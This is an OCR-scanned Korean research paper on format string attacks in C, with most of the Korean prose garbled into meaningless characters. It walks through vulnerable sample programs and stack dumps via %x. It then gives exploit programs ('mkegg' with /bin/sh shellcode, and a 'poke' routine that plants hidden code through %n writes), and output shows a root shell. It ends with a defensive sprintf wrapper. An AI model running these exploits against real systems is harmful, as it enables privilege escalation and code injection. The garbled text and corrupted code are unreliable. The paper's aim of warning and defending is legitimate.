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A Study on the Effect of Format String on
Secure Programming in C Language

Hyung-Bong Lee’- Hong-Jun Tcha'™ - Hyung-Jin Choi™"

ABSTRACT

One of the major characteristics of C language is that it allows us to use pointer type variables to access any area of virtual address space.
So, we can read/write/execute from/to virtual memory area not controlled delicately by operating system. We can access such memory area
by using format string and it can be a vulnerability of C language from the point of secure programming. In this paper, we analyze in detail
the process of security attack based on format string and then exploit a new virus style attack which is stepwise and durable with some actual
scenarios to warn the severity of it, and grope for some preliminary responding actions.

7|9 : ZYAE (format string), HIOIMA(virus), HEHSE (buffer overflow), tHEZ A (array bounds), 82 =(malicious code).
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#include <stdio.h> sub(char str[])

main() { {
char  buf[16] ; str[100] = 0
fgets(buf, 160, stdin) printf(str) ;
sub(buf) ; }

}
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mAn : A
@ pushl S6ebp LO A etasr (01
@ movl %%esp, Y%ebp
@ subl  $24, Yesp
@ addl  $-12, Yesp

leal -16(%ehp), Y%beax
® pushl  %eax
® call gets
@ addl  $16, %esp
® addl  $-12 %esp

leal -16(%6ebp), ¥eax ® :
Q, - H

@ pushl %eax A oo e |
@ call  sub S
I addl 516, %esp ret addr  © | @ [0}

xorl  Seax, Yeax ) 4

" ebp-16(=blf] @

@ leave S
@ ret durmmy 11
sub - = dumny 12
@ pushl %ebp = e
® movl %esp, %cbp o dummy 13

urew

© subl  $8, %esp
mov]  8(%ebp), %eax
addl  $20, %eax I
movb S0, (%eax) puill |, =
@add $12%esp | ||| | [ 8-
movl  8(%ehp), %eax I
(® pushl %eax - ,
(© call  printf

i

&
® addl  $16, %esp || @ N
&) leave HI ebp
© ret €0P | ret adar
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wof glr}

2.1.4 93449 54



[‘]F

o B 2L T2 489S execl)
AsjA ol Folxed, NE AHE TR A&
7tA o2 APk 3 WAE durEg
iﬂ FoHQE @] o ALgEeh T o

A2 FHAZ APFYel setuid £Alo] AAGYE

24 o] W I #Y 4fA Fie] FAAL w
A @A @EA ARz sPHm = **EH]}“(‘:HHH
o YeYZ AW Z2 RS0 i@y, setuid’t 2AE
A2 2t dustd(passwd BHO) 5)& FHAL F,
HAEHAE R exec (Ybin/sh”)el tSHE 7179
CACEE L XN Zﬂcﬂﬁ—%—% oA S5 el gk
£ GAE o HHE AHI=E YEEAE Fikel A
Pk, = *Fﬁi% O REoR YolFoma oFoRg

[4]. ot 87 wHe F4E oy HAE SRS

2
I
'

o e

>

g

lo
—]o rjr Ho "
[

tdo fon rok

F'-JIE’- _{ﬂ N{N' [u[o

0&::.'01_.

Ae Golla] AnE o
2000 2974 wu-
1z gy & o

A sjatel 7p LA st

ftp (Washmgton Umvcrsrcy ftp) ol #
£ DNS(Domain Name Server)&
a sAeHol

EYAERE C 0101‘34 2486 E Agste 4
e[10], pnntf(“Vd\n i) ;9 oo W “9%d\n"o] A7]el

"ot 9714 %e A E i & LF-'—-H = ‘3101
ks zﬂo%—x}i'} A #rok o] oA
%ndd, T olfE wHiEe %H—C’ﬂ 3 ék" 7B
FHgd £ 97 YRt (2239 A A A printk)
47 ZEFEE W poslels “first length”2] Zo]7}, pos
29]= “first length second length”9) Zeo|7} Ztz} A4 %
o7 AFAL printf() E2A AgolE TREER &pos],
&pos2 5 Al Y =R sl = Y %n Ao
A gEE T AFHXIF AL X FHoF drt
T A printfO= %xE ]%3}@1 posl, pos2 F W4
o8l #d £9sle, ol T @49 94 AW
T2 2" Ak

9

r‘?" e 401
i

ﬁ e % g
ko ofl g

o,

rir
=

O

A TUAEFolA %ne P ol AL, A
FAAE ANBoZ WSAAFH Q99 AH] Lo
e 5 m x2S AEHE AR} ¥

Axo HAFHE 28 e FHde
d& + %1‘3]-.

e e HelAdE A9 F /A HFEE 2EEd
PHF EAEo] 2RI YR TR2EHOR AE
HiE A5l Ay} oF Sof (2RI DolA ARg3
7} “%x%x%x\n"Y ExEE dEaE, o] EALL Z

COO{0IIA ZE3 AMERIQ] ZE20T Lot oK« Ha=F 695
sub() FeolA TRLEHOE AMEE] ©OolA  printf
(“%x, %x, %x\n"); g 22 F4E TAEe 237 "ok
o] W printf() FFE A HA WAEE] EREEF]Y E
Aoz A A %xol fLEHE #E ASHA "N
ZA 2 Add oEdAE dummy?l ~dummy?3 & 59l
7z geg o] ¥4t

ojgt Ze HFYE T TS %xE FHEE 4
AHTALEE AREER 2o Ea8= 3 22 &
£ 4 30, 2 2AF &8 29Zydy A4S
A g ok (=228 DY AS 87 o9 %xE Al
£39 AFE ebp, sub(0R ¥FE HEAE F&, LT sub
0 57t 289 FAY A A4 Al F bufe] T

B 2002 S 9% ¥ 3 A VI Baw e
ebp+4 gl T man) FHERE BAL Favh Hojsl
%o S 4O, 7 15E SAFLE Dot

T A= shte @47 H7] dEoldt

Hol Mgt At Ader (ZEaY 1)dA 13719 %x
ol %ng WX FA4L AHAS o g A
g ZdAEdd og BHE o st olsEn.
o % prntf() &t TYAEFHOREE F 1472 b
AEFE o ez 37 ffo ojge 727 Adoz
FH #xdoh o] F+E (¥ Do =& A3 4HR
W %no| AEs bufd EH gg ¢ 4 JdEdy, of o buf
[1(F d88a49)9 A L& EXFLE vjHetd 2 2
o %nd l‘?J_,—,v_—Z}Oﬂﬂ]k] %n7kA 8 Aol)g Mye &
Ak,

#include <stdioh>
main()
{
int posl, posZ ;
print((“first length%n second length®n”, &posl, &posZ) ;
print{(“first = %6x, second = %xWn", posl, pos2) ;
}
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if (Negal_input(buf)) {
c;pnntf(err —msg, “llegal input : %s", buf) ;

syslog(LOG_WARNING, efr_msg) ;
return ;
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A gee -o [mt fmt.

e |
#mclude <Std10.h> Lo + ret addr
sprintfE
MIEEEE
do_it(char *dst, char *src) ‘:, R o
{ - o
m x: do_(} o
char ¥ A ”
sprintf(dst, src) ; (x, )
} A
main() °oP
{ ret addr
- . ES
meret, o do_it)&
char  tmp[1024] ; ) o5t
; a.{ o=
o e
printffotl, el 2 =4 :
*(Geret €390 3 S| | bul] xesma | %
memset(buf, ‘WO, 1024) ; T | “AAAAYNX..."
read(0, buf, 1024) ;
do jt(tmp, buf) 5 mpl] X% 4
printf(fmt, &ret '
*{Grel 20, JEEETES
printf(fmt2, tmp) ; ] y
return(0) ; il S| S0P
} ret addr

FWy7l dolvt oA SleAE Zolel g} olE 3
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s AZA A7 (34 D el ok o714 printf
F#Eole printl() gte]R ] Heje] 7]5S WHe FF
A #sa, %%e BAAE EAE AdYdtie gne)
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EEYEL 94 48" £ doit) Tl siEszE A
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HojEAZ Agete] ~8YES HEEL gl Egojrh
53] 2087 %.8xl AAAAY ASCIz =9l 414141410] )
SHAY] A2 sprintf() WHARS A2 EH JEHHY
bufl 1747 19719] 4 HlelE A7t EAFEE 4 5 A

=printf “AAAA %% .8x, %% .8x, %% .8x, %% .8x, %%.8x, %% .8x,
2% 8x, %% .8x, %% .8x, %% 8x, %%5.8x, %% 8%, %% 8x, %% .8x,
%9 .8x, %696 8x, %% Rx, %9%.8%, %% 8x, %% .8xWn" | /fmt

->

AAAA 0004823d, 4001db20, bif{fcac, 40002030, 00000000, 0000000
0,400a7490, 40013610, bffffcac, 080484ed, hifftEa8, bffff4as, 00
000400, 000005¢c, 00000000, 00000650, 000005ed, 00000436, 000003
0Oa, 41414141
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Agtolt} (OxbffffdalE W HFAE AT 237 &9 HE
ol HBEAG(buf[l)e) AA H&o) %s Yo 2UR
Ao e ¢ F Ak

#printf “AAAWxaBWxEAWRXEWEbL %96.8%, 2%%.8%, %6%6.8x, %6%.8x,
26%6.8%, %696.8x, 9604.8x, %6%6.8x, %6%6.8x%, 96%6.8%, %6%6.8x, 9696.8x, %620.8%,
9696.8%, %096.8%, %96.8%, 96%.8x, %% .8x, %%.8x, %9%.8x%, %%s\n” | /fmt
_)

AAA @ ¢ 0804823d, 4001420 Witfeae, 40002030, G80485¢c,
0000DRO1 Y 400a450} 4001 3607 bitfdac, 08048817, bEf#fRa) BT
a8, /G0A00M0n., D0D00SEAE, 00000000, 00000650, 000005ed, 0000
0436, 00000303, 20414141, AAA @ ¢ %.8x, % .8x, %.8x, %.5x,
9% .8x, % 8x, % .8x, % .8%, %.8%, % 8x, % .8x, %.8x, % .8x, % 8%,
%.8x, %.8x, %4.8x, %.8x, % .8x, %6.8x, %s
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buf[]77l-1| HE] W oEE e o 2o

/ “ T i )
ot ﬂfxl-L Bal R el T o)
(T3 2) USIAIE R A8 A

MF_-r {

AP ¢ gl Aot} 2y = oA ArisEe FA4E

~JeZ= Ateld] 7loll= °/n(0x256e) 2 # = 7]
Aol REF olyelr 3 AZ 4 goke A4, o=
(29 33 Zo] AHHEZ(relative jump) BHAE %n &
o WiAEe Sdd = Uk F %n Lol 9 T4 nop

M

(0x9090)F Oxeb(2 (jmp.+2 7)1A¢] Z=)2 x| st Ao
o (29 oM %8x) %cE ZUBHA 4 vlelE AL
gosing %cs AMEste] (Zaod 4)9) o EZAHS

sol QoI% g AN,

o buf(]9 Fa + 4% 4+ 19 = 2 = Oxh{fff4a8+0x36 = Oxbfff
fAde

g Zol 7% F dth
strd str1 str2 $tr3

A zE

ol A Z3hH Oxbffff480(do it)s HAFA #=)el
Oxbffffdde ZHe WY& % IEE st)~sa3s %ne A4
SHA Aslete TRAEF Bt} o) Fojzit), oluf A
HY ZzAAe little_endian((11]) 29 A8AF ¢4

2 AXEr (Od 49 e y_s;:oz BHFELTF AR
ofef g} ¢4 Oxde(222)3hg €71 Y= A A %n
o] A =HEANGN 220 F HE o] 9] ste]o}

b (2d 29 dEEade Y~EHoR L o
£HEFALGE JMEEE gRE FAU 16(4x4) wholE,
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< ZolE 187(222-16-19F st Hed 2 F wAT F
HlolEx (xeb(22 AT Aolms ZI &&d 185 719
0x908 WX &E ") o] Aol 93k Oxde, 0x00, 0x00,
0x00 5 Wl Y FE] Oxbifff470FH ez 2430

(%ne qulelE A ghg NEFH) USos xfi244)=
F d@#4 %ns 24484 thgel HAAAFE Hed, gl
oju] 222 Ze]7t R HonZ umlx] 22ulo] =R 37}
3 Joi(%n AAE FEEA TFHA fgonz T4
). o] wx vlxd 2 ule]EE Oxeb02Z thAstZ oA
20708 0x90= & FAM strle] @ o=
Oxbffff4715%¥ Oxf4, 0x00, 0x00, 0008} ZSo] 712HE

232 Zrb A Ax 0xff(20)E Ze Wi o7 Assid
97Me] 0x902t EE &9 Oxeb02E ?—*é&; 7E‘ o]

str28 248 A HA %nel 3 fHEFA72 2 E OxEE

0x00, 0x00, 0x008] #t&ol 2efit}.
Oxde(255) 0xf4(244) Oxff(255) Oxbf(191)
T oxbrifiago Oxbffi481 T Oxbiffas T Oxbiffid81

(2 4) litte-endian EAIQ| REME 44|

8] Oxde < Oxfd < Oxff 9} Zo] vlolE g

= HE7F Hol stl0~str2E f4A 78 5
— Ll WA £ 0xbf(ODE #A7N FAE
2o £20] 2552 Folr] Takslr), o] F9oli= Ox
bf talel Ox1bf(dd7)7t V& & UES st3E FAEH,
| @ %nol ste) Oxbf, 0x01, 0x00, 0x008} F E¢
Oxbffff473% 8 = WHS 4 Ak g su3e 190
(447-255-2)78 9] 0x90% £ F-E9) Oxeb022 T4 H T}

ol gz o] HHFALI Hojzre AEldo| little-
endian E49 AFFEe)7] fie] L WA FREH
ulolE 998 sty o|F 1oz {dEdW (29 5)
g} 2,

uxce 0x00 | Ox00 0x00
Oxf4 | Ox00 0x00 | Ox00

Oxff | Ox00 .| 0x00 | Ox00
\Dxbf Ox00 | 0x00 | Ox00 |
Oxbffff470 Qxbitffd71  Oxbffff472 Oxbffffd73
(38 5) %n0| S3FAE Holres IHE

A A oot qHERLE P43 C Z2aPL
(773 3) mkeggcol JERHRT 9714 eggshelll]-2 [B]el
AAE 4 A (exec (“/bin/sh™)& AT 7]A] I=ojnh
(@4 3)9 8 232 (Z2ZaF D F 9£E Fo
ZE B3 (43 97 7o dBdy (ZRa¥ 47} 4B
ERErE A&7 4HE FHelE A8t of 1 (
a#® 97t °H5~°ﬂ 1’*211} [N A5z JAGH A7
Aee € g Ayt e At

B8 AgAE 2R

Finclude <stdio.h>

char eggshell[] = “WxebWx24Wx5eWxSdWx1eWxBIWx5e Wx0h
Wx33"

“WxdA2WxBIWxSEWx07TWxBOWSEWx0tWxbAWx1 bW Wx34

Wx12"

“WxIOWxI0WxEOWx34Wx 1 ZWx8dW x4eWx0hWx8bWxdl Wxed

WxR0"

“Wx33WxcOWxA0Wxed WxBIWxelWxd7TWxf Wx ffWx{fWhin

Wsh" ;




main()

{ char soec[256], so0[1024], stri[1024],
str2l1024], stra{1024] ;

int i;

memset(str), 0, 1024) ; memset(strl, 0, 1024) ;
memset(str2, 0, 1024) ; memset(str3, 0, 1024) ;
memset(xxee, 0, 256) ;

for (1=0;1<19;1i++)

strepy(&xxeeli # 2, "%c¢™) ;

memset(str0, 0x90, 0x0ce-16-19-2);

memset(strl, 0x 90, 0x 04 - Oxce - 2) ;

memset(str?, 0x 90, 0x 0ff - 0xf4-2) ;

memsct(str3, 0x 90, 0x 1bf - 0xff - 2) ;
printf(“WxTOWsdAWxIfWxhf”  “Wx71WxfAWsdTWsh{”
WXT2Wr4WxtfWxb”  “Wx73Wxf4WxtfWxbf” “%s”
“%sWxebWx022:%n"  “%sWxebWx02%6%n"
“UsWxehWx02%%n"  “%sWxebWx022%6%n”  “%6s7,
xxce, st strl, str2, str3, eggshell) ;

}

iy

(4 3) LHEAE A

o
|'0||

98t ¢ Z=aR JY

# (/mkegg ; cat) | /lmt

id

uid = 0(root) gid = 0(root) groups = 0(root)

who

hblee pts/0 Jun 16 15: 00 (hblee.honam.ac.kr)
root pts/1 Jun 16 20 : 20 (hblee honam.ackr)

(Bg 4) HEAES HESI 48 4.
3. ZoiAEE 2/F vfojA FHL MER 2
ot &Y

%9 23 Wl AE U YHBALS S3to] Jus
qeol EASE ANzEE AANPoER AP =
2se BYE AAngeh 2 7L TeE 2EA
Q Pelsgste 9o ER2EZS dato] velgrg 2
o) @A A%HQ A2 FU9 B A5
2 434 Auelest @ A7gn & TaxEe o
stel Asimeg Yelsl X AU T3 o7 wol 2
A eWaA AsHez AAAA £ dudl o R B
o) ofFthz ZHeA 134 BeHA FYRT BS 9
Aolghn BE & A,

dalzasr AEHer 3257 M YHzz9
F R 499 BEAFAR FZE 5 glojof Fir o
= #4 1, DA & £ glen®
(S 75l & BB At (2229 <) ¥
olfz el HHZ=E HAstd AgHed, o] =
T&9 drich write() 7\] g T8 ARt T am hid-
den code "\Wn"¢] ExldE ZE 2EFA2 24930
#o] zzadog HEoRIth (Z2aY 6)9 g 3
28 EAGS e 2o

CHOOIM ZEH AERI0| ZETY ZoH0|| O|X= e 609

o 71Alo] F=o 0x00(mll F=H7} Ay geE )
movl $0x01,%ecx 7|Ale] ZEE x002 XFsIIR o2
xorl %eax, Yeax, movl eax, %ecx, incl %ecx & Al %
o2 FHEFTE movl $0x15 %edx FAE movl Yeax,
%edx, movb $0x15, %dl & X & ¢S 24 E d=th

e7|Ale) REY AAMPeg AR eEE(reloca

table) g}
push %ebx 53
xotl %eax, %eax # make zero 31,¢c0
mov  Yeax, %edx # 3rd arg - len 89, c2
movb $0x15, %dl b2, 15
o jmp L3 ~ eh, 10
T4 ponll . %ecx® T # ond arg - buf | 29
movl  %eax, %ebx! # lst arg - {d4 ig’ a3
incl  %ebx 0. 04
movh $0x4, %al '
it S0x80 o
pop  éebx :
movl - S0+0BMES06, 96eci # ret adde | D4 00,8504, 08
pushl %edx . 2
e Zg b, ff, ff, £f
Lol , €0, T, I,
L3l T4 .| 48,20, 61, 64, 20,
string WT am hidden code !!!'WWnW 91,91 0a, 00

(Z=718 6) Hlo[HAM flaiZ= & 7[A01=

write() A|Z&® E&e] Hod BH(EALD) F4E movl
$Oxbffff-- %ecx et o] AoFALE ALEdel st o F
Ae fFa=Y A4Y HAd w= 2A7]) WEd A
o ¢& ;B HFFLZ AASFA BAY AAF St
v (Z2 Y 6 E ZAH T A call B Wi
A&, call g9 HHFLE BAFLE IFtH AH
AFEA F g 2 FE A AR Focal ¥
o] JF L38 HE3W, cal 2FL A imp WHE TS

S &8te] =glAel Ao BE
Egnk }‘—Jr o ARggth o] w29 WEE A HYH
£ A5l 491 €k

o :@ =,

i

eslslzs 4% wAY Rl AdzEe tegd
(intercept) 479] AAE AFold 5 Y& TG WX
ek

ot Ade FAFLEE 29 93 BA(er FHO)

g ANEgezH Jhssith

jirad

= JIHEE 2om /\}%E]ZI %}% top ke 2#9) ]
F gojd aFd Heja=E uPFHoE
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AHA=Y TEL Ued] EAFLLS dojxr: E2)
& JEFoEN R, (2P TedE HYy A
Z Jdlmes (220 4)9) ~d AR (Oxbfffffo04)s 4
AokE FED, do it MY 57F 2(0x08048506) EH
F40] ALAR (Oxbfff470)E 7|9stE izl AE2(109)
o2 YHEEE AYA7E FELE T4 A5 ==

(FAE A9 FoF AYsHE MBI poke()E Al

2 49" EYPHQA ZzAX(fork() Naw 5F AR

Sz FeEA RR2ER Hobs B85 @Addn
(B4 pele (223 7)o] (Z2IW OF Yoz ¥

#include <stdio.h>

typedef unsigned char

# define BYTEO(add)

# define BYTE1(add) (((uint)(add) >> 8) & 0x0f)

#define BYTE2(add)  (((uint)(add) >> 16) & 0x0ff)

#define BYTE3(add)  (((uint)add) > 24) & Ox0Off)

#definc CODE_NEST  (uchar #)0xbilfi004 /=i 2= 93] +/

#define RET__ADDR 0x08048508  /=E-F]F4& Ft »/

#define LOCT_RETA  (uchar *)Oxbffff470 /+EBH52A +/

uchar eggwrite[] = “Wxb3Wx31 WxecOWxBIWxecZWxh2"
“Wx15WxebWx10WxSOWxBIWxc3Wx4IWxb0W=04"
“WixcdWx0WxShWxhaWxB0WxBIWxB0WxB0Wx52"

“WxcIWxeBWxehWxIfWxIfWxffl am hidden code !!'Wn” ;

/* mkegg.c */
uchar ;  typedel unsigned int wnt ;
((uint)(add) & O0x0ff)

main{)

{
uchar #codedst, *codesrc, =retaddr, 7 ;
nt stat

codedst = CODE_NEST ; codesrc = eggwrite ;
=((int *Yeggwrite +19)) = RET__ADDR ;
for (; codestc < eggwrite + sizeol(eggwrile) ;
codedst + = 4, codesrc + =4)

il (fork() ==0Q) {
poke(codedst, codesre) ; exit(0) ;
}
else
while(wait(&stat) <0) ;
} VARE A

for (i=0;1<10;i++) {
il (fork() = 0) {
fprint{(stderr, “Trying -« Wn") ;
codedst = CODE_NEST ;
poke(LOCT_RETA, (uchar *){&codedst)) ; exit(0) ;

/* try to call hidden code #/

}

else
while(wait(&stat) < 0) ;
} /= $E|RE 55 %/
}
poke(uchar *target, uchar value[])
{

char xxee[266], str0[1024],
str1[1024], str2(1024], str3[1024] ;
char satrld] = {str(, strl, str?, su3);
int 1, plen ;
memset(xxce, 0, 206) ;
memsel(sir), 0, 1024) ; memset(strl, 0, 1024) ;
memset(str?, 0, 1024) ; memset(str3, 0, 1024) ;
for (i=0;1<19;1++)
strepy(&xxecli=2], “%e”) ;
for (=0, plen=16+19+2;1<4 && valueli] 1=0; i++) {
if (valuefi] > = plen)
memset(str(il, 0x90, valueli] - plen) ;
else
memset(str[i], 0x90, valueli] + 0x100 - plen) ;
plen = valuelil * 2 ;
}
printf(  “%c¥ecRac¥ic” Mot “%eeccdac”
“26c%6c%cR%6c” “%s”  “%sWxebWx02%%n”
“2%sWxehWx02%6%n"  “%6sWxchWx02%%n”
“O6sWxehWx02%6%n"  “Wn",.
BYTEO(target + 0), BY TE1(target + 0), BY TE2(target -+ 0),
BYTE3(target + 0), BYTEO(target + 1), BYTE1(target + 1),
BY TEZ(target + 1), BY TE3(target + 1), BY TEO(target + 2),
BYTEI(target + 2), BY TE2(target + 2), BY TE3(target + 2),
BYTEOQ(arget + 3), BY TEL(target + 3), BY TE2(target + 3),
BYTE3(target + 3), xxce, str0, strl, str2, strd) ;

(ZEIY ) elz=g A9 2 XaE 55
#++/mkegg | /fmt
-2 Trying =
Tryving - [ am hidden code !!!
I am hidden code M Trying ---+--
Trying - I am hidden code 1!
I am hidden code ' Trying
Trying - T am hidden code !
I am hidden code !!! Tryimg -
Trving - I am hidden code !
I am hidden code ! Trying -
Trying o I am hidden code !
I am hidden code !

(2 5) A&=el RlsiRs SH(=2T4 7)

CEEW A <Z23Y 7>
main() { P while(1) {
while(1) { J EAE 2y

- read(buf) a o oo |

T [ '

- do_it(tmp, buf) W
- sprintf{tmp, buf)

R AG: G Ny EE4Y
- prntf(*9%6s”, tmp) © . = )
} “L S deEe gy

(3 6) 2lei=Z=e| x1&x 552 N
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4.1.1 ¥Hy
B @16}— g AEshs WdezAM C 3
SUHE Boete] WEHT] 2FHE Zeith g 75
2 2AEE HEE HE ERZc Adsid gy
ke wsdy AAE ARESHA YelE o] FeF
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REE go4 9.
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4.2.1 TRAEY ARG E9) FF7 4
IRAEYS AREE ZE oA Al
e RSy B Ags dAFeAE I
e, wiAEEe AEE dx IR g A
olgch Y (ZEaY 4)9 ¢ 2¥dA BE urg
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CHOOIM ZW AEZ0| ZETE SOty ofxl= d@g 701
o] w7 A7 2EZHdg FZ HojuhA] &
Az _F'E_\}HAEE'J Helde 2 gAY & g (ZE
F 89 sprintf() & L UdEHo|~E AFIHEA Y
715E £l AZeol 42YE AU sprintf()E £
Fozd Iured HAYHE HAGE 42 2y
(Sprintf()), (Z=229 4)9] sprintf0Z Sprintf()E T332
(ﬁ?ﬁ'j_?]l] e AT H “-F'“L?—} < 7\] =8 “For-
Fuges g
A = sdrh o] ek E‘Q%’*Tﬂlﬂ ‘—’-FZ_}—J AEANE
g ia=

#include <stdioh>
#include <stdarg.h>
Sprintf(char *sp, char #fmt,---)
{
char  #tp, *argp, *frame ;
va_list ap;
argp = ((char *)&tp+12) ; /+ fArst argument =/
frame = (char #)x(char *)((char *)&ip+ 4); /* previous ¥/
for (tp = fmt; *ip 1=0;tp+*+) {  /* stack frame */
if (+tp=="%")
argp+=4;
if (argp> f'rame) {

exit(0) ;
}
}
va_start(ap, fmt) ;
return(vsprintf(sp, fmt, ap)) ;

(ZZ2%4 ) sprintf() el TUAES Aot

4.2.2 A87 JHEALS ER2EY ] AT

EP~2ET BobHd = AMEA) IYAERS dog =
e 4 ke AME2RE SEdTh wd AT 99
T TAE] oE BeeE TAAEFH] FofiA] REEH
Z22a9% AetH TRAEY Foblels 4EsA %R
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